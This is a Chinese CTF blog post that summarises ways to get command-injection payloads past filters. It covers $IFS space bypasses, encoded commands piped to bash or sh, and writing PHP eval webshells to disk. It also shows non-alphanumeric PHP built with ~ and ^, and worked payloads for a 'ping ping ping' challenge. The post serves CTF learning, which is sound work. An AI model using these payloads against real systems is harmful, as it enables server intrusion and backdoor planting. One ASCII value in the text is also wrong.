CTF—命令执行总结

前言

最近遇到了好多命令执行的web题,这就来总结一下这方面的知识!!

绕过姿势总结

空格绕过

常见的绕过符号有: $IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、>
$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。
在这里插入图片描述

命令分割符

%0a  换行符,需要php环境
%0d  回车符,需要php环境
;  在 shell 中,是”连续指令”,这个与下面的`|`作用类似
管道符:
&(就是按位与),&前面和后面命令都要执行,无论前面真假
&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
|(就是按位或),直接执行|后面的语句
||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

关键词过滤

当ls被过滤时:
a=l;b=s;$a$b
当cat flag被过滤时:
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容
a=“ccaatt”;b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

#base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号双引号绕过

c'a't test
c"a"t test

反斜杠绕过

ca\t test

通配符绕过

[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st

在这里插入图片描述

用>>追加命令写shell(字符限制,拼接换行)

在这里插入图片描述
那么我们试试直接写马:

在这里插入图片描述

要写post一句话的话也简单,先写入一个普通文件,然后cat写入php文件

在这里插入图片描述

用反斜杠\拼接执行命令

\的作用,它不仅仅可以转义字符,若在命令最后,可以起到拼接的作用.

在这里插入图片描述

在这里插入图片描述
这里注意一个问题,使用单引号的时候反斜杠会写进语句的里面,所以我们使用双引号,然后再$的前面加一个反斜杠转义,就行了。

通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成

#当执行程序时,shell自动跟据PATH变量的值去搜索该程序

#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会

再继续搜索

echo $PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433

可以直接访问

http://2130706433
或者

http://0x7F000001

这样就可以绕过.的ip过滤,在线转换网址:http://www.msxindl.com/tools/ip/ip_num.asp

在这里插入图片描述

无字母数字构造Webshell

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}
phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有^~,这两种方法,

取反(~):
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:和的utf-8编码为\xe5\x92\x8c,第三个字节和{2}的值为\x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此

<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"\x8c"); //等同与上一句

?>

下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
?code=(~%8F%97%8F%96%91%99%90)();
$a = "getFlag";
echo urlencode(~$a);
%98%9A%8B%B9%93%9E%98 //getFlag
?code=(~%98%9A%8B%B9%93%9E%98)();

异或(^):

<?php
    echo "A"^"?";
?>

在这里插入图片描述
在这里插入图片描述

代码对字符"A"和"?"进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符

A的ASCII值为65,二进制则是01000001

?的ASCII转值为65,二进制是00111111

异或二进制结果结果为10000000,对应的字符就是~.

用脚本跑,查看谁和谁异或得到的结果是我们想要的:

if __name__ == "__main__":
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            if(chr(result) is '想要的字符'):
                print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result))

参考了学长的博客,哈哈哈哈又收集了一个脚本,真香!主要是我太菜了!加油冲冲冲!

在这里插入图片描述

var_dump('#'^'|'); //得到字符 _ 
var_dump('.'^'~'); //得到字符 P 	
var_dump('/'^'`'); //得到字符 0 	
var_dump('|'^'/'); //得到字符 S 	
var_dump('{'^'/'); //得到字符 T 	
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 	//变量$__值为字符串'_POST'

做题实践

下面来实践一下,看题:

题目链接:ping ping ping
解法一:
在这里插入图片描述
查看文件:发现flag.php和index.php

在这里插入图片描述
我们先来看index.php里边有什么:

在这里插入图片描述
空格被过滤了,下面进行绕过:?ip=127.0.0.1;cat$IFS$9index.php

在这里插入图片描述
flag、bash都被过滤了,不过sh没过滤:

payload:?ip=127.0.0.1;echo\$IFS$9Y2F0IGZsYWcucGhw|base64\$IFS$9-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

查看源码,找到flag:
在这里插入图片描述
解法二:
既然flag被过滤了,那么我们用字符串拼接的方式来试试能不能绕过:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

发现不行,那么将顺序颠倒一下:

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

成功
解法三:
内联执行:将反引号内命令的输出作为输入执行。
payload: ?ip=127.0.0.1;cat$IFS$9`ls`

直接把两个文件里边的内容都爆出来了:

在这里插入图片描述

下面看这一题,命令执行——重定向:
本题没有任何绕过,

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

在这里插入图片描述
解法一:

payload:?ip=;echo "<?php @eval(\$_POST['A']);?>" >>666.php

这个解题思路是写进一句话到666.php下,然后通过蚁剑找到根目录下的flag.php

使用蚁剑连接,使用方法这里就不多说了,在根目录下面找到flag.php了!!!

在这里插入图片描述
解法二:
通过post传参的形式,将flag.php重定向至自己命名的一个文件中。
在这里插入图片描述
这里我就是将flag.php写进qwer.txt中,

然后访问qwer.txt就直接显示出了flag。

在这里插入图片描述

参考博客:

酉酉囧
1emon~

  • 10
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值